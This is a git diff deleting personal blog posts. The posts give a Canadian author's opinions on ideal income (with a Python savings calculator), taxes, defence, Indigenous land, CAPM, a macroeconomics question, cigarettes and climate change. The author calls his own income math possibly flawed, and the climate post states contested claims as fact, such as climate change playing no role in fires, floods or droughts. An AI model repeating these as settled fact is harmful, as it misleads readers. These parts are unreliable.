go suburban or urban. -For sake of the American Dream _fantasy_, we'll go the suburban route. So our activities consist of: waterpark within two hours, theme park within 2 hours, a picnic type park within 15 minutes, biking routes, tennis court, basketball court, soccer fields. Also a gym if you want to improve your physique. You can reduce or increase this list based on your wants. - -### Income - -Warning, this section is completely scuffed; as in I might've made more than one blunder. - -My thought process for this is simple. We need to calculate ideal income based on how much we need to invest in the stock market, how much we will pay for mortgage, and how much we would want to spend per month on other things. - -This ia big one, if not the biggest. Typically, we want $1M in cash by the time of retirement. Why? With $1M and 7% average annual S&P 500 return, we get $50,000-$70,000 per year if income tax is payable or not. I believe this is enough since we assume there is no mortgage and we aren't going on spending sprees. With disposable income of $4,000 / month which would be worth $2,000 minimum accounting for inflation, we're good. -In total, household networth at retirement (age 55) should be $1.5M to $3M. In business classes, we'd do some math to calculate the money needed at retirement in order to die with X amount of money. However, since we are dealing with an ideal lifestyle, we want to be able to live off passive income and leave our children with something. - -We need to employ some financial equations now to account for real stock market growth of 8.66%.[^Moneychimp] To get this number, I used 35 years of data from Jan 1st 1986 to Dec 31 2021, adjust for inflation, add dividends, and subtract 0.03% because FNILX is the cheapest S&P 500 exchange traded fund (ETF). - -I don't have time to update my old investing article, but I summarized the basics [here](/posts/investing). - -We can use this Python function I made in 2019/2020 to first calculate how much we need to put into the stock market per week. - -```py -def get_savings_amt(future_savings, years_to_retirement, interest_rate, - compounds_per_year=2, startwith=0, saving_period=12): - """ - Calculates how much you need to save per month to retire given the parameters - """ - r, m, n = interest_rate, compounds_per_year, years_to_retirement * saving_period - efr = (1 + r/m) ** (m / saving_period) - 1 - already_secured = startwith * (1 + r / m) ** (m * years_to_retirement) - future_savings -= already_secured - return future_savings * efr / ((1 + efr) ** n - 1) - - ->>> # assume we start working at 25, we start with $0, and we compound yearly ->>> # multiply by two to account for market volatility ->>> get_savings_amt(1000000, 30, 0.0866, 1, 0, 52) * 2 ->>> 288.51322722512805 -``` - -In the future I will try testing this out on actual data and seeing if the results are as intended. The market is volatile so we can't use an answer based on a monotonic assumption without double checking. In order to account for volatility, I doubled my answer. - -$288/week translates to $1,248/month or $14,976/yr. - -A down payment on a $2M home is $400,000 and if we want to buy it when we are 30, we'll need to save (household) $80,000 -per year. - -| What | Yearly Amount (CAD) | -| ----------- | ----------- | -| Investing | 15,000 | -| Downpayment | 80,000 | -| Food | 15 * 30 = 10,950 | -| Two Cars | 15,000 to 30,000 | -| Mortgage/Rent | 4,600 to 9,305.68 | -| Monthlies | 250 * 12 = 3,000 | -| Misc. | 10,000 to 12,000 | -| Vacation??? | 3,000 | -| Upper TOTAL | 163,255 | -| Upper Income | 280,000 | -| Lower TOTAL | 146,255 | -| Lower Income | 250,000 | -| Per Person | 125,000 | - -I did a lot of rounding and over-estimations, but overall I'm happy with my results. The upper bound is assuming you are -a baller and want a $2M home. That's not me, but some people out there want to be entitled to that. Personally, $1M home is enough for me, especially if it's in New Brunswick. - -I guess this is the problem then huh? When half of Canadians earn less than 80,000, the ideal Canadian life is unattainable unless you're in specific career paths. So we'll look at careers that can earn 125,000 including alternative careers, as well as what Canada (government) can do to improve the situation (increasing purchasing power). - -[^Moneychimp]: [Moneychimp - CAGR Stock Market Last 35 Years.](http://www.moneychimp.com/features/market_cagr.htm) - -### $125,000 Careers - -Software engineering of course. Product managers and project managers also make this, but those career paths are rarely talked about. Someone should make an article on those two career paths. What else? Lawyers, doctors, investment banking. - -I don't really feel like writing this section, so I'll stop for now. I think the issue is that there's no way for a 30 year old to be experienced enough to earn that much in some career paths that start off at $80,000. - -## The Government - -Engineers are grossly underpaid in Canada and the US. Not all engineering challenges are complete, yet these people get paid pebbles. I propose some industries that are lacking in Canada. We need Canadian companies for these engineering innovation industries. - -- CPU chips -- electronics -- automobile -- aerospace -- defense -- agriculture -- telecommunications outside of Ontario and Quebec -- lumber vertical integration (companies that use wood extensively) - -We should also abolish the P. Eng fee. What a useless fee. People should not be sitting on their asses while others work hard. - -### A Fair Electoral System - -After the 2021 Federal election, I was dismayed at how horribly parliament seats reflected who voters voted. So I came up -with a proof-of-concept of a new electroal system that combines local representation with a proportional voting. I'm calling it the -[Represenative Proportional Voting](/posts/representative-proportional-voting). It's in its infancy at the moment, -but I hope to formalize the algorithm and system in the future. - -### Taxes - -TODO: split into different types of taxes (income, property, sales, sin, capital gains, tax ethics, duties/tariffs, etc.) - -The government goal should be to use taxes to create a sustainable environment for innovation and wealth. Taxes should be used wisely with the end goal of lowering taxes. Governments should create self-sustainable nationalized businesses where the nature is a privilege rather than a need. Things like health care should remain nationalized, but private health care should also be allowed as it is in Quebec. Not sure why courts in Canada think that private health care access takes away from Canadians who are using the public health care system, but hey I'm not a judge and they aren't economists. - -#### Sales Tax - -Should not exist. There are so many exceptions and the CRA does not do a good job at exempting everything. For example, the CRA requires you to have a phone number -in order to login because of 2FA, but phone plans and phones have sales tax. These are necessities and a sales tax is regressive[^regressive] in this case. -There are simply too many cases of figuring out what is a necessity and what isn't. Not to mention that on top of federal sales tax, each province has its -own sales tax rules. Therefore a national business needs to report to so many different provinces or join something like US's nexus. So then implementing a -sales tax fattens the government (additional bureaucracy). - -#### Tariffs - -There should be almost 0 tariffs and import duties. If people want to shop in America, good for them. A trip to America is not free, so why make citizens' lives more expensive? - -### Organ Donors - -People can choose to donate their organs for free upon death, but yet organs go for -thousands of dollars in black markets? Governments should incentivize people in poverty to become organ donors so that when they die, their family will receive a payment instead of being left with nothing. A charity should be started for this at the very least. - -[^regressive]: A sales tax is regressive because people with lower income pay a higher percentage of their income as sales tax if they bought the same goods. -Paying for groceries is a lot harder on poorer people. - -### Education - -For a country to be competitive on the global stage, education must be done in a way that strives for perfection and without excuses. -It is one of the things that I'm okay with requiring mandating. People under 18 are simply not mature or intelligent enough to make their own decisions -in life, and the current state does not integrate elementary well with high school well with post-secondary. In high school, there is school -every day, for four courses, in a longer term than university, where there are 5 courses, not every day, with a shorter term, harder, expensive, -and a higher risk of failing. - -So what is "so good." Good question, I will leave this as an exercise for the reader. Just kidding; This is a TODO since like I said in the introduction, -this article is a collection of my thoughts on Canada that come to mind. I also try to keep it as articulate and cohesive as possible, -rather than vomit words. I also try to add my quirks and humor where I can. - -### National Defence - -One of the key functions of the government is to support national defence. Now even though Canada is part of NATO, NATO members are supposed to spend -2% of their GDP on national defence. I disagree with this percentage idea. If a percentage, it should be based on tax revenue, not GDP. Better yet, -there should be a plan on how to spend on national defence. There are 4+ things when it comes to national defence. Air, Water, Land, range weapons (i.e. missiles/nukes), -and air-defence (e.g. Iron Dome). - -#### Airforce - -An airforce is crucial. A single aircraft can devastate many land units, so an air-defence system is just as crucial. An airforce should be as mobile -as possible and should be not be crippled with one attack. In other words, there should be multiple air-bases and the location of these bases need to completely -classified or opaqued, but the existence of them should be stated. This is an equal balance between government secrets in the name of national defence. Some -governments, like the USA, take it too far and classify even operations. An operation should be classified until it's over. Then it should be made as transparent as possible. - -#### Navy - -A Navy is useful for shipping as well as long-lasting operations. It's also useful to for saving the aircraft fuel and keeping a moving aircraft base. -That is, instead of having fixed aircraft bases, we can have mobile bases. Hypothetically, aircraft carriers reduce the need of fixed airbases and thus -we could save money while improving the reliability of the air-force. - -#### Army - -The army is useful when aircrafts and missiles cannot be used luxuriously. An army's strength is determined by both strategy and manpower. This is because, one -person could either take out 100+ enemy soldiers, or die without being of any use. For countries like Canada, we should reduce the school length term for -grade 12ers so that their 4 month summer can be spent learning how to be part of the military. I am against military conscription, but with a trained -civilian population, we will be able to depend more on the power of patriotism, civil duty, and volunteerism. A person with even basic military education will -be more willing than a 30 year old who has never shot a gun before. - -This training will not be as strict as the army and military is at the moment. I am strongly against force, so things like being forced to get a haircut, cost-savings on living quarters, and drill sargent's are a big no. People should not be scared of the training, but rather take it calmly. The entire course should -be able to be completed in 3 months, there should be lots of free time mixed in so that people don't lose their minds. Since the program can be completed in 3 -months, an extra 2 weeks of bonus or specialized education should be added for people who completed the education on time while the people who lagged behind, -can catch up on their basics. This is perfect because a) does not stop the progress of fast learners b) gives slower people more time to learn. - -## My Platform - -My platform would be run on the basis of redefining what a government's job. It is to govern after all, and so we need -to redefined it to govern effectively. We'll start by prioritizing issues. What are the greatest issues faced by Canadians? -I won't go into the detail on why I chose this order, only my plan or solution for each of them. - -1. Electoral system -2. Disability benefits -3. Housing affordability -4. Indigenous people -5. Income, entering the workforce, brain drain -6. Education - -### Improving Electoral System - -My first order of business is fixing the electoral system on all levels of government. By making a system more democratic, parties are forced to collaborate in order to get work done. I want to set the example for what democracy looks like and all countries should look at Canada as being the most innovative and progressive in terms of democracy and fundamental human rights. - -As mentioned before, we will use the [Representative Proportional Voting](/posts/representative-proportional-voting). A recap: MP and MPPs still exist, but are chosen based upon party confidence in each riding, and not winning the riding (independents are the exception). - -### Improving Disability Benefits - -This issue is getting out of hand. On a provincial level, it's an expenditure spiral; -in other words, the province with the best benefits attracts disabled people (rightfully) from other provinces -and in the long-run, would end up paying more for the program than other provinces. Therefore, disability **benefits** -should be solely within the jurisdiction of the Federal government. Accessibility doesn't seem like an issue so I won't comment on that. - -Now, let us create a comprehensive plan for disabled people in Canada. I'm waiting on getting data on Ontario's disability benefits, -but after that I will continue this section. - -### Improving Housing Affordability - -I already talked about this at the [beginning](#housing-affordability) - -### Improving Indigenous Relations - -This is such a hot topic. People are quick to jump to their feet and march for the unmarked graves at residential schools, -but aren't willing to start a discussion on what we should do in 2022. The indigenous issue has existed for over a century. -For goodness sake, the indigenous are still referred to as Indians in formally! Anyways, getting back on topic... - -We need to think about the issue differently. That is take the total population of each province, and divide the province's land size by this number. - - - -Now that we have the land per capita, we multiply it by the Indigenous population in each province to get the land the indigenous are owed. -This is the land that is owed, so then we partition hunting land in each province equal to land owed minus land presently occupied as reserves. -This ensures that a) current reserves don't go away, b) no more than land owed. This calculation isn't required at the moment since I'm -not even in politics! - -So we've given the indigenous people the land they are owed, but that's not enough. They need to be given more freedom and more rights. -We shall negotiate with the Indigenous and decide something important. Does the Indigenous people want government investment into infrastructure, -or do they want to manage their land themselves? If the former, then they will have to pay only income taxes at half the rate for 250 years (not arbitrary, but it is rounded). If the latter, -they can invite the private industry themselves to invest in infrastructure like fiber optics and telecommunication towers. I have no clue -how the Indigenous people want to live, but since each province's population gets to decide, I'm sure at least one would choose the nomad style. -They are free to change their mind from no-support to having government support, but not the other way around. - -These areas will be free to incorporate. If they do so, a proportional voting system shall be used to determine 10 representatives and a leader. -I think with proportional voting, this will suffice. Once incorporated, they can choose to sell land to developers and initiate a tax on that land. -The government will provide city planners as advisors no matter the level of independence chosen. The goal is to build a sustainable economy for the -indigenous and allow them to choose without pressure to leave the Indigenous locality. For example, they might want to preserve their culture and language. -So something like English/French language laws wouldn't apply. However, if they decide to invite private industry, they'd probably want to support the English language. - -The education system doesn't teach much about Indigenous history other than a couple classes in elementary school. How did they get here before the Vikings, what -were they doing the last couple of centuries, how did they react to the British small pox? It is critical to include Indigenous history as part of Canada's history -if we are to recognize them as having a claim to this land. - -Of course we can go the other route, which is to fully assimilate the Indigenous to Canadian society. This would mean requiring indigenous to attend a school -of the majority language in the province. It is imperative one of these paths are chosen rather than what we got now, which is complete mess. "Do we let them own the -land on the property, or would that result in them selling it immediately? They can't make those decisions for themselves." This faulty thinking is why -the reserves are so poorly maintained. - -### Improving the Tax System - -Filing taxes for Canadian corporations is atrocious. I use my parents' accountant for income tax but in the future I will -have to do it myself and then I'll comment on that process. - -It is very clear why corporations avoid taxes if the CRA is trying to invade the corporations' privacy rather than just ask politely for -the corporation to pay taxes on its profits. There are so many forms and you have to fill them in depending on questions that are asked -as well as direct references to sections in the Income Tax Act! - -I realize very quickly, that for ethical individuals interested in a close-knit ownership (membership), not for-profits -is the way to go. You get to control who becomes a director, and potential investors can be added to the board under a policy. -For example, a contract that would stipulate what voting rights they get. It's absolutely ridiculous that not for-profits -do not get taxed. The CIRA (canada internet registration authority) is a not for-profit and they only donate to other -not for-profits ventures but the Canadian government? $40M to Rogers for New Brunswick internet infrastructure (thousands of dollars per family in New Brunswick). - -The Canadian tax code 100% punishes innovation and it makes me think that entrepreneurs in Canada are either patriotic, know -for sure they are going to print money, or they just didn't think about the corporation residence that much. I'm the patriotic type, and my goals -largely involve Canada. - -### Income, entering the workforce, brain drain - -This is too much to write at the moment. - -### Improving Education - -TODO: I will create an overview on what the education should teach, how it should teach, goals of the education system, etc. - -### Drunk Driving - -I was reading about the billionaire killing. I do agree with the sentencing as it was already -the harshest first offence drunk driving killing, BUT, we need to prevent drunk people from drinking, -not punish the killers harshly. - -My policy would be that if you are caught in a DUI with hard evidence, unless it was a life-death emergency, -your license should be suspended for an entire year. No jail, no felony, no record, but a license suspension. Well there would be one record which would be "got caught drunk driving" for potential future instances. - -A second offence would result in a 10 year license suspension. - -### The Canadian Dream - -This part is a draft. - -As a Canadian my vision is that each Canadian is entitled to be a land owner. Each Canadian deserves without cost a piece of land. After that condition is met, it would be fine to not forcefully redistribute that land henceforth. As in children inherit their parents land. If each person is given land, and each couple had two kids, there will never be a problem. Simply give land to your kids when they get married if their partner won't inherit land themselves, you give your land. Say your oldest son and their oldest daughter both get married. The negotiation should be last name changed for land. As in in the future when I'm married and now we own two land pieces, if my eldest son and another couples eldest daughter want to get married and both were born after the decree of land distribution, then the only thing tradeable is last name for land. I believe that no one in marriage should change their last name in modern times but if land was distributed fairly, it would be the only thing to negotiate. So if my son changes his last name, then the land the couple lives on comes from the other family. Vice versa as well. This is the fairest way to live in my opinion. And if neither wants to budge then the couples get 0 land. Because then what would the youngest children get? Obviously one big issue is that what if you have given land and now you have a child without land to give to? Well they are free to choose whoever they want, but if they choose someone without land, they should be prepared to rent for life. It would be incredibly say - -I do hope that the culture of the future ensures that children are 1 year apart and that they get married at the same time to sort out these details. This would be ideal. And BTW the spare piece of land gets rented out to non married people until your children get married. - -In today's western world, it's tradition a woman changes her last name to the man's but there is 0 logic to it. Only in my scenario does it make sense for people to trade last names. It was like this in the past too. Woman changed their last name because their family wouldn't needs to supply the land for the new couple to live on. However, women's rights means that the land is not guaranteed to be inherited by the oldest child. diff --git a/content/posts/capm-is-not-a-good-cost-of-equity.md b/content/posts/capm-is-not-a-good-cost-of-equity.md deleted file mode 100644 index 1489a5aa4..000000000 --- a/content/posts/capm-is-not-a-good-cost-of-equity.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: "CAPM is not a Good Cost of Equity [DCF, WACC]" -date: 2024-02-16T00:59:06-05:00 -draft: false -tags: - - finance - - opinion -summary: "Critiques the CAPM for calculating cost of equity, arguing its assumptions are flawed and suggesting using an investor's required rate of return instead, emphasizing insight over IQ in investing." ---- - -### CAPM Assumptions are Not True - -One assumption of CAPM is that there is a single holding period for everyone. WRONG. Boomers exist and I want to make enough money to put it into dividend stocks. Therefore, a good model is based on each individual and we are not at the point of churning out models based on individual preferences or generalizing what most investors follow. Let me give you a tip. Most investors, people, don't know what the hell CAPM is. The second assumption is no taxes. This one is okay. Bad since corporate taxes do exist and are a lot, okay because registered accounts exist where investors with thousands of dollars can earn money without pay taxes on capital gains or dividends. - -### Inspiration for This Post - -Recently, I read a Reddit post of a [DCF Analysis on GOOGL](https://www.reddit.com/r/stocks/comments/1area1r/) where the cost of equity for Alphabet was "calculated" to be 9% using CAPM where a risk premium was 4.6% (source is one professor and this is apparently on the low end of the range 4.5 - 5.5% of all models according to Tim Koller of Wharton), and the Beta is 1.06 (source is yahoo). This seemed odd to me because GOOGL is a tech stock and one that performs well. 20% annual compound rate of return for 5 years, and 16% for 10 years. In my eyes, the expected rate of return for GOOGL is 16% annually as that is what investors have been receiving. - -### ke = Required Rate of Return - -The entire point of discounted cash flow model valuation is to use a required rate of return for the equity investor. In the case of us, we want 10-20%. If we wanted 10%, we should just take debt and put it into the market and get a nice 5% bonus return...That's called a risk-adjusted return. Trusting a cost of equity is like saying investors know what they are doing. No they don't. No _we_ don't. So then I say, let's just use a cost of equity for people like me who seek alpha. We want to buy relatively undervalued companies that can grow at 20%+ with high probability somewhere down the line. - -And that's why I am bullish on GOOGL. They operate Google Search Engine, the best search engine which gives websites and real live data. That is not going to be replaced by perplexity nor by openai because when I want to read stuff, not just a summary. - -### Higher Capital Gains Come from Value (Insight) - -> intelligent people make decisions based on opportunity costs - -Intelligence and finance should go hand in hand but we find that it is the complete opposite when it comes to the stock market. We need to realize that an IQ of 100 is really really dumb. Why do I say that? Because I go to university and I see the kinds of people here, and I see the kinds of people in Computer Science itself. I recently passed a tutorial where the average was 50% and I got a 92% after a 5% late penalty (due to submitting incorrectly). If the average IQ is 124 in CS and the average mark for a CS test is 50%, it's almost as if an average IQ of 124 is just the bare minimum. - -So then the average IQ of an investor is also 100. Not to mention IQ has nothing to do with returns. IQ just means capability. You still need to apply IQ to gain an advantage. Research takes time and IQ reduces the time it takes to make decisions. Anyways thanks for attending my ramble of the day. Wasted hours on this, but mostly because my midterm went well. - -[How Losing an Eye Helped Charlie Munger See Success](https://www.usfunds.com/resource/how-losing-an-eye-helped-charlie-munger-see-success/) diff --git a/content/posts/chegg-is-garbage-part-1.md b/content/posts/chegg-is-garbage-part-1.md deleted file mode 100644 index 83c856e7b..000000000 --- a/content/posts/chegg-is-garbage-part-1.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: "Macroeconomics Asset Market Question (Chegg is Garbage Pt. 1)" -date: 2024-02-02T16:20:08-05:00 -draft: false -tags: - - economics - - opinion -summary: "Analyzes a macroeconomics question on inflation determinants, arguing online sources like Chegg are incorrect and explaining how real output growth impacts inflation with constant money supply and interest rates." ---- - -Consider an economy with a constant growth rate of nominal money supply and a constant real interest rate r​ = 0.06. Which of the following statements about the inflation rate of the economy would be​ valid? - -a. The​ long-term inflation rate would be equal to the money growth rate regardless of the output growth. - -b. The ultimate determinant of the inflation rate is how people form their expectation of future inflation. - -c. Without knowing the nominal interest​ rate, π ​+ 0.09​, one can not tell the real demand for money and hence the inflation rate. - -d. The faster the​ economy's real output​ grows, the lower the inflation rate. - -The answer according to Google, Chegg, Homework.Study.com will give you the wrong answer. I ignored them because I trust myself more than even textbooks. I'll break down the problem and give you the solution at the end if you still can't figure it out. - ----------- - -The inflation rate = % change in money supply - income elasticity of money demand \* % change in real output - interest elasticity of money demand * % change in interest rates - -The inflation rate = % change in money supply - income elasticity of money demand \* % change in real output - interest elasticity of money demand * % change in interest rates. - -We know from theory that when real income/output increases, the demand for money also increases. Therefore, the income elasticity of money demand is positive. We also know that when interest rates go up for non-monetary assets such as bonds, there is a lower demand for money, hence there is a negative interest elasticity of money demand. - -In the question, we are told that the growth rate of the money supply is constant, and interest rates are constant. Therefore, only the change in real output can affect the inflation rate. You should be able to figure out the answer now. - -
Answer - -The faster the​ economy's real output​ grows, the less effect money supply growth has on the change in price levels; lower inflation rate. - -Note that since the money supply is growing every year, the economy has to also grow every year to keep the inflation rate lower than without any output growth. - -
- -Just goes to show you that sure you can Google a question, but if you are intelligent or have mastered a field, you should have the confidence to disregard information you read online even from "trusted authorities." Obviously, this doesn't mean you don't bow down to the scientific method where empirical evidence is king. diff --git a/content/posts/cigarettes-and-decriminalization.md b/content/posts/cigarettes-and-decriminalization.md deleted file mode 100644 index 5631a9bc7..000000000 --- a/content/posts/cigarettes-and-decriminalization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: "Should Cigarettes be Banned?" -date: 2023-04-19T22:48:57-04:00 -draft: true -tags: - - canada - - politics -summary: "No." ---- - -No because addicts exist. We need to fix the root cause of all self-harming activities which is addiction. Evolution has not yet developed a defence for this that we can just create a vaccine and fix the issue. - -## Archived - -If the goal of the government is to protect its citizens, it should be taking a more harder stance against products and services that serve a substitutable purpose. Cigarettes are proof that there is a big conspiracy going on that the government bows down to companies that are raking billions of dollars. We know cigarettes cause cancer. We also know psychedelics do not cause cancer. However, the cancer causing product is legally taxed, and psychedelics are available in the grey (BC) or black market. - -I strongly suggest governments (Canada) either legalized all drugs and tax them according to their harm level, or to go the full mile and push for annually higher taxes on cigarettes and banning the cigarettes after a decade. This will of course require unbiased studies and research which is absolutely possible. - -So what do I think is the right way to go about it? I think people should be able to do whatever they want as long as - -1. they were educated on the cons of what they are doing -2. the consumption does not cause direct harm or discomfort to those around them (e.g. smell of cannabis, needles on the ground) -3. the behaviour is deterred through taxes no more than double the sales tax rate - -I base this largely off the non-aggression principle (NAP), however the NAP does not usually consider self-harm which I am 100% against or the probability of external-harm which as a realist I want to consider. - -We know that we can't just ban all substances that can be abused, because then a black market forms without taxes. Therefore, tax rates must be maximized without a black market forming. Suppliers and buyers must not feel that the legal market is too much of a hassle, while at the same time the tax is deterring people from the inappropriate good or service. - -Already, even at a combined sales tax of 13%, cash deals occur in broad daylight. Sales tax is a regressive tax, and the only way a regressive tax makes sense is when it applies to behaviour that is less than the ideal way to live. diff --git a/content/posts/climate-change.md b/content/posts/climate-change.md deleted file mode 100644 index 29b03195c..000000000 --- a/content/posts/climate-change.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: "Climate Change" -date: 2023-02-04T11:07:18-05:00 -draft: true -summary: "It's real, it's human-influenced (anthropogenic), but preventing climate change requires progression not condemnation and critical thinking rather than dogma. Some solutions (ongoing list) I've gathered are to replace concrete, innovate in steel production, improve transportation (high-speed rail, hydrogen fuel cells), and transition to nuclear energy." ---- - -This article is a precise guide on why someone should care about climate change and then what to do about or how to fix it. -I predict that the fix will be controversial but alas drastic measures get results. The solutions section is currently being worked on. - -## Is Climate Change Real? - -There's two parts to this question. Is the climate changing \[drastically] and if it is, are a subset of human activities the main driver of significant climate change? Which activities broadly and how do they exacerbate climate change? - -### The Climate is Changing Significantly More Than Usual - -Is it important to note that the climate is always changing, it's just that recently the rate at which it is changing is significantly more. - -It was first determined without doubt that the climate is changing significantly in 2007 with the "Fourth Assessment Report" by the Intergovernmental Panel on Climate Change (IPCC). -If you are not open minded, you should read the report. Otherwise, figure 1.3 from the [graphics](https://www.ipcc.ch/report/ar4/wg1/historical-overview-of-climate-change-science/) page should suffice. -Combining this graphic with one that gives us insight [to the past](https://www.climate.gov/maps-data/climate-data-primer/past-climate) shows us that the climate has been changing significantly more (0.5° C) -in the last 50 years than previously. - -I was quite disappointed by NASA's [climate evidence webpage](https://climate.nasa.gov/evidence/). Although it guided me in the right direction [IPCC Technical Summary](https://www.ipcc.ch/report/ar6/wg1/downloads/report/IPCC_AR6_WGI_TS.pdf), it could've linked me to the Fourth Assessment Report themselves or shown the graphics with the methodology stated. I personally should not have to read the entire report to figure out if their methodology was -biased or lacking. I've already accepted that the climate is changing, but clearly if someone was skeptical, some graphs are not hard evidence. If scientists are trusting graphics without the methodology stated, -we simply cannot use the classic _ad populum_ fallacy of "99% of scientists believe in climate change." 99% of humans believed the Earth was the centre of the universe at one point too! 99% of humans in America believed woman were property at one point too. 99% of humans lived under monarchy at one point too. How sure are we that present day humans won't be outclassed in intelligence and morality by our decedents even 50 years down the line? I am certain I won't be outclassed, but am also certain 99% of humans living today will be outclassed by our decedents 100 years later. Not everyone is a Socrates, Aristotle, Archimedes, Galileo or the countless Sanskrit ancient text authors of our time. - -### Human Activities - -Of [Chapter 9 of the same AR4](https://www.ipcc.ch/report/ar4/wg1//), we see - -> ... greenhouse gas forcing alone during the past half century would likely have resulted in greater than the observed warming if there had not been an offsetting cooling effect from aerosol and other forcings - -> It is extremely unlikely (<5%) that the global pattern of warming during the past half century can be explained without external forcing, and very unlikely that it is due to known ->natural external causes alone. The warming occurred in both the ocean and the atmosphere and took place at a time when natural external forcing factors would likely have produced cooling - -Essentially, the global cooling that is talked about would've continued had man not been emitting more greenhouse gasses. - -## Why Should I Care About the Climate Changing? - -A question that should be answered by every climate change activist but is abundantly assumed to be cared about. This isn't just about giving a reason, it's -about weighing the downsides. - -Great now that we have determined that there is significant climate change and that is it anthropogenic influence. -It really doesn't matter if significant climate change is anthropogenic or not from a why perspective. It just makes it easier for us when we get to the solutions portion. -This question is the second hardest to answer, no doubt easier than solutions. So let's jump into it. There's a variety of answers here, so just stop once you find an issue that -you care about. I won't be putting in bullshit answers like "forest fires" when humans themselves are the cause of them. Forest fires aren't caused by climate change, humans are the cause of it. -If you want less forest fires, then we need to stop humans from starting camp fires! I also won't use natural disasters such as hurricanes because even without any climate change, they would still occur in vulnerable areas and the people living there would still not move! - -- If you like seeing coral reefs, they are bleaching more now because of rising ocean temperatures -- The area you live in now is flooding more often because of the higher precipitation caused by increased temperatures. Yes you can move to an area that has opened up, so this is not that big of a deal. Humans have been moving for thousands of years which is why there's so many distinct ethnicity's. Humans moved in the past to survive better; changing our local environment to avoid moving is more and needlessly expensive. Poor people affected the most. -- Some species' are threatened because of loss of habitat due to climate change. I also think this is a cop out to refuse to confront poaching. I care about snow leopards but don't cop out climate change when they are endangered mainly because of poachers. Ban immoral poaching. If you want to poach an endangered species, make sure you breed the species so that you are the reason there's more of them not less of them. - -Is climate change more important than your individual quality of life (e.g. escaping poverty). Morally speaking, no. I have no right to tell someone -of less financial fortune to stop consuming fossil fuels unless the alternative is cheaper, more efficient, or less environmentally polluting (nuclear!). -So while I do not have the right to _force_ someone to save the climate, I can definitely _force_ someone so that they escape poverty. - -In short, there aren't many reasons to care about climate change if you live in an area with a predictable climate but I'd say that the coral reefs reason is good enough. - -## Poorly-Accounted Reasons - -I'm not a climate change activist. I'm a neutral bystander who dislikes misleading information. Climate Change did not cause your forest fires. Reversing climate change is not going to stop hurricanes, floods, and tornados. -If floods never existed before climate change, how would the bible which was written by humans, even know of floods? They are called natural disasters for a reason, stop using these fictitious reasons to promote policies that benefit -some groups over others. - -Pollution isn't a climate change issue. Burning coal has an effect on the climate as well as the environment. Dumping garbage on the ground effects the local environment, pollutes the water, but doesn't really have an affect ont the climate. - -Droughts. They occur naturally and not only are droughts correlated with climate change or rising temperatures due to human CO2 emissions, they are correlated with population increase too. If you search up climate change and drought, -you'll get that for one of the droughts of many, only 46% was attributable to rising climate change. After searching "water consumption responsible for droughts" we see that "[around 1960 drought frequency was considerably enhanced by human water consumption](https://iopscience.iop.org/article/10.1088/1748-9326/8/3/034036#erl471582s4)." Therefore, droughts are not a climate change thing, but an anthropogenic non climate related unfortunate event. Fresh water should simply not be given away cheaply and to the largest consumers just because they can afford it. Every household should be allocated water consumption for 4 people before higher rates kick in. If you are a commercial business not related to food, then you should be paying higher rates. I'm looking at you golf courses. This also doesn't affect me, but it's easy to see how residents blame climate change and big oil for things their own behaviour (watering your lawn in the dessert) and the inefficient allocation of resources done by their municipality. - -> It’s a double-edged sword too: worldwide, forest destruction – mainly for agriculture – is a major cause of climate change, generating an incredible amount of greenhouse gases. - -[WWF](https://www.wwf.org.uk/updates/10-reasons-why-climate-change-important) wants to solve climate change so that the Amazon Rainforest won't be threatened, when it is already being cut down so that countries (Brazil) can increase agriculture to support their population. At some point, you'd think that they should advocate for a two child policy rather than blaming big oil. I think if your senseless breeding requires the Amazon Forest to be cut down, CO2 emissions isn't the problem, you are! - -The WWF also believes that climate change increases food prices, and not say fertilizer costs or maybe the 8 billion people we need to food on a daily basis? - -### Fictitious Reasons - -A lot of people simply assume climate change is bad and when asked why they care about climate change, they use circular reasoning or non-convincing arguments such as "protecting the planet", "protecting ourselves", [I care about climate change because I have my kids](https://youtu.be/53n9wPYgI2g). The first person in that video even said it themselves; "first generation **to** feel the effects of climate change" as if we are yet to feel it! This is the problem with the climate change debate. Many people treat it like a boogeyman just like how people believe their astrological signs mean something. If we are feeling the effects of it currently, why talk as if you haven't felt it? I definitely have not felt the negative effects of it. - -[Coffee fix](https://www.wwf.org.uk/updates/10-reasons-why-climate-change-important)? Caffeine is a drug and like most drugs, humans are better off without their existence. You don't drink coffee because it keeps you awake, you drink it because you are addicted to it. Oh wine may be hit? Alcohol is worse than caffeine! If Caffeine and alcohol didn't exist or could not be produced, humans would be better off, not worse off. - -## Solutions - -### Managing Higher Urban Temperatures - -One of the effects of climate change is higher temperatures. However, we do not need to combat climate change to combat higher temperatures. Cities are recording higher temperatures, but the media forgets that there's more humans in those cities every year. More humans in a city is going to end up being warmer regardless of an increase in greenhouse gases, more so if the population and infrastructure grows exponentially. - -Stop using the darkest colors for roofs, cars, and roads. Those surfaces simply do not need to absorb so much heat. Black cars? Try red, blue, yellow, orange, white, hell even grey. I'll remember that -the first car I buy will be orange or red. We need more stamped asphalt so that walking looks more like a priority in comparison to driving. - -### Replacing Concrete - -To make cement, coal / fossil fuels must be burned, therefore we need an alternative. - -I propose Mass Timber or Ferrock. I don't believe Ferrock (steel dust and ground up glass) can scale to the level of cement which is where Mass Timber comes into play. - -We can see that Timber works. [Ascent MKE](https://www.fs.usda.gov/inside-fs/delivering-mission/apply/worlds-tallest-timber-building-opens) is proof that we can build -sustainable condos that further improve the quality of life of individuals. Maybe one day I'll ask for innovation grants from my government of Canada so that I can pursue my dreams -of bringing such aesthetics into this world. - -### Steel Industry - -According to [The Narwhal](https://thenarwhal.ca/steel-coal-mining-hydrogen/), SSAB, a Swedish based steel-maker, is planning on producing steel using clean hydrogen rather than coal and they have -even made a sample. - -### Transportation - -Electric cars does not go far enough. We need electric high speed trains that connect multiple cities so that we can reduce the consumption of asphalt that goes into the expansion of roads -as well as the maintenance. Unnecessary driving is unsustainable. People should not have to drive 1 hour to work just because the neighbourhood around their work sucks. - -Hydrogen fuel cell technology in buses, airplanes, boats, yachts, and cruise ships. - -Nuclear reactors for cargo ships. Electric cars will not solve climate change. - -### Energy - -We need to replace everything with nuclear reactors. Wind and solar are land inefficient. They will never work without government subsidies or high costs. Nuclear is more efficient, has a smaller footprint, has been around -for 50+ years, is abundant, and is arguably cheaper. Wind and solar can be used for places that are land locked. Turbine is also an option but I think it's so inefficient which is why no one mentions it. - -### Brain Dump - -This is a brain dump of my thoughts from months ago. - 